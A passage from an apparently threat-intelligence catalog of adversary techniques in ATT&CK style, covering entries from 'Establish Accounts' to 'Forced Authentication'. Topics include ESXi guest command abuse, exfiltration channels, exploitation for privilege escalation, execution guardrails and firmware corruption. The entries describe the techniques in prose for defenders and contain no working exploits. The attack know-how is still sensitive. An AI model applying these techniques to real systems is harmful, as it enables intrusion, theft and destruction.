Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Phishing]([Mandiant APT1(https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]</sup> In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3) for malicious purposes.^{[[Free Trial PurpleUrchin](https://app.tidalcyber.com/references/841f397d-d103-56d7-9854-7ce43c684879)]}

The tag is: *misp-galaxy:technique="Establish Accounts"*

ESXi Administration Command

Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.^{[[Broadcom VMware Tools Services](https://app.tidalcyber.com/references/b9f12d45-1fe3-5358-9ce1-acd0607bc8c3)]}

Adversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for

example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`, `ListFileInGuest`, and `InitiateFileTransferFromGuest`.^{[[Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023](https://app.tidalcyber.com/references/204d9587-957b-5398-a7c9-969500315ab3)]}^{[[Broadcom Running Guest OS Operations](https://app.tidalcyber.com/references/facf15d7-bdc8-5e08-907d-cc80659e6961)]} This may enable follow-on behaviors on the guest VMs, such as [File and Directory Discovery](https://app.tidalcyber.com/technique/1492c4ba-c933-47b8-953d-6de3db8cfce8), [Data from Local System](https://app.tidalcyber.com/technique/c0e4f97b-f651-493f-9636-6ac2f6fb46fb), or [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d).

The tag is: *misp-galaxy:technique="ESXi Administration Command"*

Event Triggered Execution

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.^{[[Backdooring an AWS account](https://app.tidalcyber.com/references/2c867527-1584-44f7-b5e5-8ca54ea79619)]}^{[[Varonis Power Automate Data Exfiltration](https://app.tidalcyber.com/references/16436468-1daf-433d-bb3b-f842119594b4)]}^{[[Microsoft DART Case Report 001](https://app.tidalcyber.com/references/bd8c6a86-1a63-49cd-a97f-3d119e4223d4)]}

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.^{[[FireEye WMI 2015](https://app.tidalcyber.com/references/135ccd72-2714-4453-9c8f-f5fde31905ee)]}^{[[Malware Persistence on OS X](https://app.tidalcyber.com/references/d4e3b066-c439-4284-ba28-3b8bd8ec270e)]}^{[[amnesia malware](https://app.tidalcyber.com/references/489a6c57-f64c-423b-a7bd-169fa36c4cdf)]}

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

The tag is: *misp-galaxy:technique="Event Triggered Execution"*

Exclusive Control

Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system.

For example, adversaries may patch a vulnerable, compromised system^{[[Mandiant-iab-control](https://app.tidalcyber.com/references/e7743974-f2b8-56e9-9812-dba6c38b6928)]}<sup>[[CERT AT Fortinent Ransomware 2025](https://app.tidalcyber.com/

references/334bff44-68e9-5042-aad7-9bb812e2e7bd)]</sup> to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services^{[[sophos-multiple-attackers](https://app.tidalcyber.com/references/6155ef43-4e3f-5bbb-bc4f-982447aca9c9)]}, stripping privileges from accounts^{[[aquasec-postgres-processes](https://app.tidalcyber.com/references/7f885065-109b-5dcb-b821-497d4a12c49e)]}, or removing other malware already on the compromised device.^{[[fsecure-netsky](https://app.tidalcyber.com/references/b34cf57c-f8ce-53c6-b837-68f4f15bf4d4)]}

Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of [Resource Hijacking](https://app.tidalcyber.com/technique/d10c4a15-aeaa-4630-a7a3-3373c89a584f), leveraging a compromised device’s full power allows the threat actor to maximize profit.^{[[sophos-multiple-attackers](https://app.tidalcyber.com/references/6155ef43-4e3f-5bbb-bc4f-982447aca9c9)]}

The tag is: *misp-galaxy:technique="Exclusive Control"*

Execution Guardrails

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.^{[[FireEye Kevin Mandia Guardrails](https://app.tidalcyber.com/references/0c518eec-a94e-42a7-8eb7-527ae3e279b6)]} Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.^{[[FireEye Outlook Dec 2019](https://app.tidalcyber.com/references/f23a773f-9c50-4193-877d-97f7c13f48f1)]}

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8). While use of [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user’s software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.^{[[Trellix-Qakbot](https://app.tidalcyber.com/references/0ffc4317-c88a-5c9b-9c13-cb8b2a8b65e6)]}

The tag is: *misp-galaxy:technique="Execution Guardrails"*

Exfiltration Over Alternative Protocol

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

[Exfiltration Over Alternative Protocol](https://app.tidalcyber.com/technique/192d25ea-bae1-48e4-88de-e0acd481ab88) can be done using various common operating system utilities such as [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc)/SMB or FTP.^{[[Palo Alto OilRig Oct 2016](https://app.tidalcyber.com/references/14bbb07b-caeb-4d17-8e54-047322a5930c)]} On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.^{[[20 macOS Common Tools and Techniques](https://app.tidalcyber.com/references/3ee99ff4-daf4-4776-9d94-f7cf193c2b0c)]}

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://app.tidalcyber.com/technique/af798e80-2cc5-5452-83e4-9560f08bf2d5).

The tag is: *misp-galaxy:technique="Exfiltration Over Alternative Protocol"*

Exfiltration Over C2 Channel

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: *misp-galaxy:technique="Exfiltration Over C2 Channel"*

Exfiltration Over Other Network Medium

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:technique="Exfiltration Over Other Network Medium"*

Exfiltration Over Physical Medium

Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:technique="Exfiltration Over Physical Medium"*

Exfiltration Over Web Service

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:technique="Exfiltration Over Web Service"*

Exploitation for Client Execution

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

Browser-based Exploitation

Web browsers are a common target through [Drive-by Compromise](https://app.tidalcyber.com/technique/d4e46fe1-cc6d-4ef0-af72-a4e8dcd71381) and [Spearphishing Link](https://app.tidalcyber.com/technique/d08a9977-9fc2-46bb-84f9-dbb5187c426d). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: *misp-galaxy:technique="Exploitation for Client Execution"*

Exploitation for Credential Access

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.

Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.^{[[Technet MS14-068](https://app.tidalcyber.com/references/db78c095-b7b2-4422-8473-49d4a1129b76)]}^{[[ADSecurity Detecting Forged Tickets](https://app.tidalcyber.com/references/4c328a1a-6a83-4399-86c5-d6e1586da8a3)]}
Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.^{[[Bugcrowd Replay Attack](https://app.tidalcyber.com/references/ed31056c-23cb-5cb0-9b70-f363c54b27f7)]}^{[[Comparitech Replay Attack](https://app.tidalcyber.com/references/a9f0b569-8f18-579f-bf98-f4f9b93e5524)]}^{[[Microsoft Midnight Blizzard Replay Attack](https://app.tidalcyber.com/references/5af0008b-0ced-5d1d-bbc9-6c9d60835071)]}

Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.^{[[Storm-0558 techniques for unauthorized email access](https://app.tidalcyber.com/references/74fd79a9-09f7-5149-a457-687a1e2989de)]}

Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

The tag is: *misp-galaxy:technique="Exploitation for Credential Access"*

Exploitation for Defense Evasion

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://app.tidalcyber.com/technique/9e945aa5-3883-4537-a767-f49bdcce26c7). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries ^{[[Salesforce zero-day in facebook phishing attack](https://app.tidalcyber.com/references/cbd360bb-f4b6-5326-8861-b05f3a2a8737)]}, evade security logs ^{[[Bypassing CloudTrail in AWS Service Catalog](https://app.tidalcyber.com/references/de50bd67-96bb-537c-b91d-e541a717b7a1)]}, or deploy hidden infrastructure.^{[[GhostToken GCP flaw](https://app.tidalcyber.com/references/3f87bd65-4194-5be6-93a1-acde6eaef547)]}

The tag is: *misp-galaxy:technique="Exploitation for Defense Evasion"*

Exploitation for Privilege Escalation

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).<sup>[[ESET InvisiMole June

2020](https://app.tidalcyber.com/references/d10cfda8-8fd8-4ada-8c61-dba6065b0bac)]</sup>^{[[Unit42 AcidBox June 2020](https://app.tidalcyber.com/references/f3f2eca0-fda3-451e-bf13-aacb14668e48)]} Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://app.tidalcyber.com/technique/4499ce34-9871-4879-883c-19ddb940f242) or [Lateral Tool Transfer](https://app.tidalcyber.com/technique/3dea57fc-3131-408b-a1fd-ff2eea1d858f).

The tag is: *misp-galaxy:technique="Exploitation for Privilege Escalation"*

Exploitation of Remote Services

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://app.tidalcyber.com/technique/5bab1234-8d1e-437f-88a0-d527b2dfc6cd) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB^{[[CIS Multiple SMB Vulnerabilities](https://app.tidalcyber.com/references/76d9da2c-1503-4105-b017-cb2b69298296)]} and RDP^{[[NVD CVE-2017-0176](https://app.tidalcyber.com/references/82602351-0ab0-48d7-90dd-f4536b4d009b)]} as well as applications that may be used within internal networks such as MySQL^{[[NVD CVE-2016-6662](https://app.tidalcyber.com/references/1813c26d-da68-4a82-a959-27351dd5e51b)]} and web server services.^{[[NVD CVE-2014-7169](https://app.tidalcyber.com/references/c3aab918-51c6-4773-8677-a89b27a00eb1)]}^{[[Ars Technica VMWare Code Execution Vulnerability 2021](https://app.tidalcyber.com/references/838e7a7d-ed1e-59bb-b81f-e9e407dc9e38)]} Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.^{[[Broadcom VMSA-2024-0019](https://app.tidalcyber.com/references/4bc981c7-c0d9-5042-85dd-d08b5ee72670)]}

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c) as a result of lateral movement exploitation as well.

The tag is: *misp-galaxy:technique="Exploitation of Remote Services"*

Exploit Public-Facing Application

Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially

access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.

Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.^{[[NVD CVE-2016-6662](https://app.tidalcyber.com/references/1813c26d-da68-4a82-a959-27351dd5e51b)]}^{[[CIS Multiple SMB Vulnerabilities](https://app.tidalcyber.com/references/76d9da2c-1503-4105-b017-cb2b69298296)]}^{[[US-CERT TA18-106A Network Infrastructure Devices 2018](https://app.tidalcyber.com/references/8fdf280d-680f-4b8f-8fb9-6b3118ec3983)]}^{[[Cisco Blog Legacy Device Attacks](https://app.tidalcyber.com/references/f7ce5099-7e04-4c0b-8767-e0eec664b18e)]}^{[[NVD CVE-2014-7169](https://app.tidalcyber.com/references/c3aab918-51c6-4773-8677-a89b27a00eb1)]} On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers.^{[[Recorded Future ESXiArgs Ransomware 2023](https://app.tidalcyber.com/references/cefcfd52-712e-549e-a4af-365ead492dca)]}^{[[Ars Technica VMWare Code Execution Vulnerability 2021](https://app.tidalcyber.com/references/838e7a7d-ed1e-59bb-b81f-e9e407dc9e38)]} Depending on the flaw being exploited, this may also involve [Exploitation for Defense Evasion](https://app.tidalcyber.com/technique/15b65bf2-dbe5-47bc-be09-ed97684bf391) or [Exploitation for Client Execution](https://app.tidalcyber.com/technique/068df3d7-f788-44e4-9e6b-2ae443af1609).

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://app.tidalcyber.com/technique/a5a95893-d837-424a-979f-095a47dd9f34)), exploit container host access via [Escape to Host](https://app.tidalcyber.com/technique/bebaf25b-9f50-4e3b-96cc-cc55c5765b61), or take advantage of weak identity and access management policies.

Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.^{[[Mandiant Fortinet Zero Day](https://app.tidalcyber.com/references/7bdc5bbb-ebbd-5eb8-bd10-9087c883aea7)]}^{[[Wired Russia Cyberwar](https://app.tidalcyber.com/references/28c53a97-5500-5bfb-8aac-3c0bf94c2dfe)]}

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.^{[[OWASP Top 10](https://app.tidalcyber.com/references/c6db3a77-4d01-4b4d-886d-746d676ed6d0)]}^{[[CWE top 25](https://app.tidalcyber.com/references/d8ee8b1f-c18d-48f3-9758-6860cd31c3e3)]}

The tag is: *misp-galaxy:technique="Exploit Public-Facing Application"*

External Remote Services

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service

gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://app.tidalcyber.com/technique/c2866fd3-754e-4b40-897a-e73a8c1fcf7b) and [VNC](https://app.tidalcyber.com/technique/af7afc1e-3374-4d1c-917b-c47c305274f5) can also be used externally.^{[[MacOS VNC software for Remote Desktop](https://app.tidalcyber.com/references/c1f7fb59-6e61-4a7f-b14d-a3d1d3da45af)]}

Access to [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.^{[[Volexity Virtual Private Keylogging](https://app.tidalcyber.com/references/b299f8e7-01da-4d59-9657-ef93cf284cc0)]} Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn't require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.^{[[Trend Micro Exposed Docker Server](https://app.tidalcyber.com/references/05c8909c-749c-4153-9a05-173d5d7a80a9)]}^{[[Unit 42 Hildegard Malware](https://app.tidalcyber.com/references/0941cf0e-75d8-4c96-bc42-c99d809e75f9)]}

The tag is: *misp-galaxy:technique="External Remote Services"*

Fallback Channels

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

The tag is: *misp-galaxy:technique="Fallback Channels"*

File and Directory Discovery

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://app.tidalcyber.com/technique/1492c4ba-c933-47b8-953d-6de3db8cfce8) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.^{[[Windows Commands JPCERT](https://app.tidalcyber.com/references/9d935f7f-bc2a-4d09-a51a-82074ffd7d77)]} Custom tools may also be used to gather file and directory information and interact with the [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560). Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}

Some files and directories may require elevated or specific user permissions to access.

The tag is: *misp-galaxy:technique="File and Directory Discovery"*

File and Directory Permissions Modification

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.^{[[Hybrid Analysis Icacls1 June 2018](https://app.tidalcyber.com/references/74df644a-06b8-4331-85a3-932358d65b62)]}^{[[Hybrid Analysis Icacls2 May 2018](https://app.tidalcyber.com/references/5d33fcb4-0f01-4b88-b1ee-dad6dcc867f4)]} File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory's existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://app.tidalcyber.com/technique/9ed0f5c3-49ff-4c43-bb77-c00e466ce3ba), [Boot or Logon Initialization Scripts](https://app.tidalcyber.com/technique/c51f799b-7305-43db-8d3b-657965cad68a), [Unix Shell Configuration Modification](https://app.tidalcyber.com/technique/cc5ae19f-981d-4004-bb74-260b8ebad73a), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://app.tidalcyber.com/technique/1085d0c6-4ff3-45f1-8e0c-d8f334f4ba68).

Adversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.^{[[new_rust_based_ransomware](https://app.tidalcyber.com/references/8206240f-c84e-442e-b025-f629e9cc8d91)]}^{[[bad_luck_blackcat](https://app.tidalcyber.com/references/0d1e9635-b7b6-454b-9482-b1fc7d33bfff)]}^{[[falconoverwatch_blackcat_attack](https://app.tidalcyber.com/references/9d0ff77c-09e9-4d58-86f4-e2398f298ca9)]}^{[[blackmatter_blackcat](https://app.tidalcyber.com/references/605b58ea-9544-49b8-b3c8-0a97b2b155dc)]}^{[[fsutil_behavior](https://app.tidalcyber.com/references/07712696-b1fd-4704-b157-9e420840fb2c)]}

The tag is: *misp-galaxy:technique="File and Directory Permissions Modification"*

Financial Theft

Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,^{[[FBI-ransomware](https://app.tidalcyber.com/references/54e296c9-edcc-5af7-99be-b118da29711f)]} business email compromise (BEC) and fraud,^{[[FBI-BEC](https://app.tidalcyber.com/references/3388bfec-7822-56dc-a384-95aa79f42fe8)]} "pig butchering,"<sup>[[wired-pig butchering](https://app.tidalcyber.com/

references/dc833e17-7105-5790-b30b-b4fed7fd2d2f)]</sup> bank hacking,^{[[DOJ-DPRK Heist](https://app.tidalcyber.com/references/c50d2a5b-1d44-5f18-aaff-4be9f6d3f3ac)]} and exploiting cryptocurrency networks.^{[[BBC-Ronin](https://app.tidalcyber.com/references/8e162e39-a58f-5ba0-9a8e-101d4cfa324c)]}

Adversaries may [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3) to conduct unauthorized transfers of funds.^{[[Internet crime report 2022](https://app.tidalcyber.com/references/ef30c4eb-3da3-5c7b-a304-188acd2f7ebc)]} In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://app.tidalcyber.com/technique/20417e43-6ffa-5d36-a2ef-e27cd5a4b8f1) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.^{[[FBI-BEC](https://app.tidalcyber.com/references/3388bfec-7822-56dc-a384-95aa79f42fe8)]} This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.^{[[VEC](https://app.tidalcyber.com/references/4fd7c9f7-4731-524a-b332-9cb7f2c025ae)]}

Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://app.tidalcyber.com/technique/f0c36d24-263c-4811-8784-f716c77ec6b3) ^{[[NYT-Colonial](https://app.tidalcyber.com/references/58900911-ab4b-5157-968c-67fa69cc122d)]} and [Exfiltration](https://app.tidalcyber.com/tactics/66249a6d-be4e-43ab-a295-349d03a98023) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.^{[[Mandiant-leaks](https://app.tidalcyber.com/references/aecc3ffb-c524-5ad9-b621-7228f53e27c3)]} Adversaries may use dedicated leak sites to distribute victim data.^{[[Crowdstrike-leaks](https://app.tidalcyber.com/references/a91c3252-94b8-52a8-bb0d-cadac6afa161)]}

Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34) and business disruption.^{[[AP-NotPetya](https://app.tidalcyber.com/references/7f1af58a-33fd-538f-b092-789a8776780c)]}

The tag is: *misp-galaxy:technique="Financial Theft"*

Firmware Corruption

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.^{[[Symantec Chernobyl W95.CIH](https://app.tidalcyber.com/references/a35cab17-634d-4a7a-a42c-4a4280e8785d)]} Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.

In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices

inoperable.^{[[dhs_threat_to_net_devices](https://app.tidalcyber.com/references/f1d16045-d365-43d2-bc08-65ba1ddbe0fd)]}^{[[cisa_malware_orgs_ukraine](https://app.tidalcyber.com/references/ebe89b36-f87f-4e09-8030-a1328c0b8683)]} Depending on the device, this attack may also result in [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34).

The tag is: *misp-galaxy:technique="Firmware Corruption"*

Forced Authentication

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. ^{[[Wikipedia Server Message Block](https://app.tidalcyber.com/references/3ea03c65-12e0-4e28-bbdc-17bb8c1e1831)]} This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. ^{[[Didier Stevens WebDAV Traffic](https://app.tidalcyber.com/references/b521efe2-5c1c-48c5-a2a9-95da2367f537)]} ^{[[Microsoft Managing WebDAV Security](https://app.tidalcyber.com/references/eeb7cd82-b116-4989-b3fa-968a23f839f3)]}

